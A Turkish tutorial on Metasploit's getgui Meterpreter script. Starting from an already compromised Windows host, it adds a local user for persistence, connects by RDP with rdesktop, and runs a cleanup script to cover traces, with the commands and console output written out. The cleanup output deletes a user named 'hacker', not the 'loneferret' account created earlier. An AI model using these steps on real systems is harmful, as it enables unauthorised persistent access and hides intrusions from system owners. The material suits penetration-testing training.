MSF Remote Desktop Modülü

MSF Remote Desktop Modülü

Metasploit Framework içerisinde Meterpreter ile bir shell açtığınızda yapılabilecek işlemlerden bir tanesi de uzak masaüstü bağlantısını hayata geçirmek olabilir. Bunun için getgui komutu oldukça kullanışlıdır.

Bu yazımızda getgui komutunu kullanarak sistemde bir kullanıcı oluşturup ardından rdesktop komutu ile bu bilgisayara nasıl bağlanabileceğimizi göreceğiz.

Uzak Masaüstü Bağlantısı

Hedef bilgisayarda Meterpreter shell açtığınızı varsayıyoruz. Şimdi işe getgui komutunu kullanarak görsel bağlantı sağlamak için gerekli olan kullanıcı adı ve parolaya ihtiyacımız var. Böyle bir kullanıcı adı ve parolası oluşturduğunuzda kalıcılık sağlamış olursunuz.

getgui Aracı

Öncelikle getgui yardım başlıklarına bakalım.

meterpreter ***>***  run getgui -h
Windows Remote Desktop Enabler Meterpreter Script
Usage: getgui -u  -p 
Or:    getgui -e

OPTIONS:

    -e   Enable RDP only.
    -f   Forward RDP Connection.
    -h   Help menu.
    -l   The language switch
         Possible Options: 'de_DE', 'en_EN' / default is: 'en_EN'
    -p   The Password of the user

getgui Kullanıcı Ekleme

Genel olarak kullanımda -u kullanıcı adını, -p parolayı belirtmek için kullanılır. getgui komutunu aşağıdaki örneğe benzer şekilde kullandığınızda sisteme yeni bir kullanıcı eklemiş olursunuz.

meterpreter ***>***  run getgui -u loneferret -p password
***[*** ******* ***]***  Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
***[*** ******* ***]***  Carlos Perez carlos_perez@darkoperator.com
***[*** ******* ***]***  Language detection started
***[*** ******* ***]***    Language detected: en_US
***[*** ******* ***]***  Setting user account ***for *** logon
***[*** ******* ***]***    Adding User: loneferret with Password: password
***[*** ******* ***]***    Adding User: loneferret to local group ''
***[*** ******* ***]***    Adding User: loneferret to local group ''
***[*** ******* ***]***  You can now login with the created user
***[*** ******* ***]***  For cleanup use command: run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20110112.2448.rc
meterpreter ***>*** 

rdesktop Bağlantısı

Artık kullanıcı oluşturuldu. Aynı ağda bulunan başka bir bilgisayardan, bu kullanıcı adı ve parolayı kullanarak uzak masaüstü bağlantısı yapabilirsiniz.

root@kali:~#: rdesktop -u loneferret -p password 192.168.101.108

Log Temizleme

Hedef sistemde ne kadar çok oynama yaparsanız, log kayıtlarına kaydedilme ihtimaliniz de o kadar artar. Bu sebeple mümkün olduğunca yetkisiz işlem yapmamalı veya gereken yerlere müdahale etmekle yetinmelisiniz.

getgui ile oluşturduğunuz kullanıcı ve oturum bilgilerini log kayıtların temizlemek isteyebilirsiniz. Bunun için aşağıdaki komut örneği işinize yarayacaktır. Örnekte kullanılan /root/.msf4/logs/scripts/getgui/clean_up__20110112.2448.rc dosyasının en güncel halini yine aynı klasör içinden kontrol edebilirsiniz.

meterpreter ***>***  run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20110112.2448.rc
***[*** ******* ***]***  Running Command List ...
***[*** ******* ***]***    Running command execute -H -f cmd.exe -a "/c net user hacker /delete"
Process 288 created.
meterpreter ***>*** 

Last updated on